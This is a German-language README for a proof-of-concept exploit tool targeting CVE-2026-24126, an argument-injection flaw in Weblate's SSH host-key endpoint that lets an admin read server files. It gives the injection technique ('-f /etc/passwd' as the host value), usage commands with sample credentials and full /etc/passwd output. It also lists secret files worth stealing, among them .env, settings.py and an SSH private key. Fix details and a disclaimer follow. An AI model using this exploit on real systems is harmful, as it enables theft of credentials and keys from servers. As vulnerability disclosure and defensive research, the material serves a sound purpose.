
Proof-of-Concept-Exploit für CVE-2026-24126, ein beliebiges Dateilesen in Weblate über SSH-Host-Argument-Injection, das authentifizierten Administratoren das Lesen von Serverdateien ermöglicht.
Entdeckt von: Alejandro Baño · Januar 2026 Bestätigt durch: Weblate 5.16 Versionshinweise
Der SSH-Host-Key-Verwaltungsendpunkt von Weblate übergibt den von einem authentifizierten Administrator bereitgestellten host-Parameter direkt an ssh-keyscan, ohne jegliche Bereinigung oder Argumentvalidierung. Da ssh-keyscan ein -f <datei>-Flag akzeptiert, um Zielhostnamen aus einer Datei zu lesen, kann ein Angreifer mit Admin-Anmeldedaten dieses Flag als Host-Wert injizieren und den Server zwingen, eine beliebige lokale Datei zu öffnen. Die daraus resultierende Fehlerausgabe (oder Standardausgabe) wird unverändert im Browser innerhalb eines Fehlermeldungsblocks angezeigt, wodurch der Dateiinhalt preisgegeben wird.
| Feld | Wert |
|---|---|
| Ziel | Weblate (selbst gehostete Instanzen) |
| Komponente | SSH-Key-Verwaltung — weblate/ssh/views.py · add_host_key() |
| Erforderliche Authentifizierung | Ja — Weblate-Administratorkonto |
| Betroffene Versionen | Alle Versionen ≤ 5.15.2 (getestet in 5.0.2 und 5.15.2) |
| Auswirkung | Beliebiger lokaler Dateizugriff als Webserver-Prozessbenutzer (weblate, www-data usw.) |
| CVSS v3 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L |
| CVE | CVE-2026-24126 |
# weblate/ssh/views.py — vereinfacht
def add_host_key(request, host, port=""):
cmdline = ["ssh-keyscan"]
if port:
cmdline.extend(["-p", str(port)])
cmdline.append(host) # ← host wird ohne Validierung angehängt
result = subprocess.run(cmdline, ...)
Der host-Wert stammt direkt aus dem POST-Body-Feld host ohne Whitelist, ohne Entfernen führender Bindestriche und ohne ---Argument-Terminator vor dem benutzerdefinierten Wert. Dadurch kann ein Angreifer jedes beliebige ssh-keyscan-Flag injizieren.
ssh-keyscan -f /etc/passwd liest /etc/passwd als Liste von Hostnamen, kann jede Zeile nicht auflösen und erzeugt für jede Zeile eine Fehlerausgabe. Diese Fehlerausgabe wird über den CalledProcessError-Handler weitergegeben und in einem alert-danger-Block in der HTTP-Antwort angezeigt.
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd
| Flag | Beschreibung |
|---|---|
-r / --rhost | Basis-URL der Weblate-Instanz |
-u / --username | Admin-Benutzername |
-p / --password | Admin-Passwort |
-f / --file | Pfad zur Datei, die auf dem Server gelesen werden soll |
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd
[+] Login erfolgreich für Benutzer: admin
[*] Sende Payload an http://localhost/manage/ssh/, dies kann einige Zeit dauern, bitte geduldig sein...
[+] Extrahierter Dateiinhalt:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] Exploit abgeschlossen
Jede Datei, die für den OS-Benutzer lesbar ist, unter dem Weblate läuft (typischerweise der weblate-Benutzer), kann über eine einzige authentifizierte POST-Anfrage exfiltriert werden. Sensible Ziele umfassen:
settings.py, .env, local_settings.py/var/lib/weblate/.ssh/id_rsaAktualisieren Sie auf Weblate 5.16.0 oder höher. Dies ist der offizielle Fix, der vom Weblate-Team am 18. Februar 2026 veröffentlicht wurde und eine ordnungsgemäße Eingabevalidierung für das SSH-Host-Feld einführte.
Dieses Repository ist ausschließlich für Bildungs- und autorisierte Sicherheitsforschung gedacht. Verwenden Sie dieses Tool nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.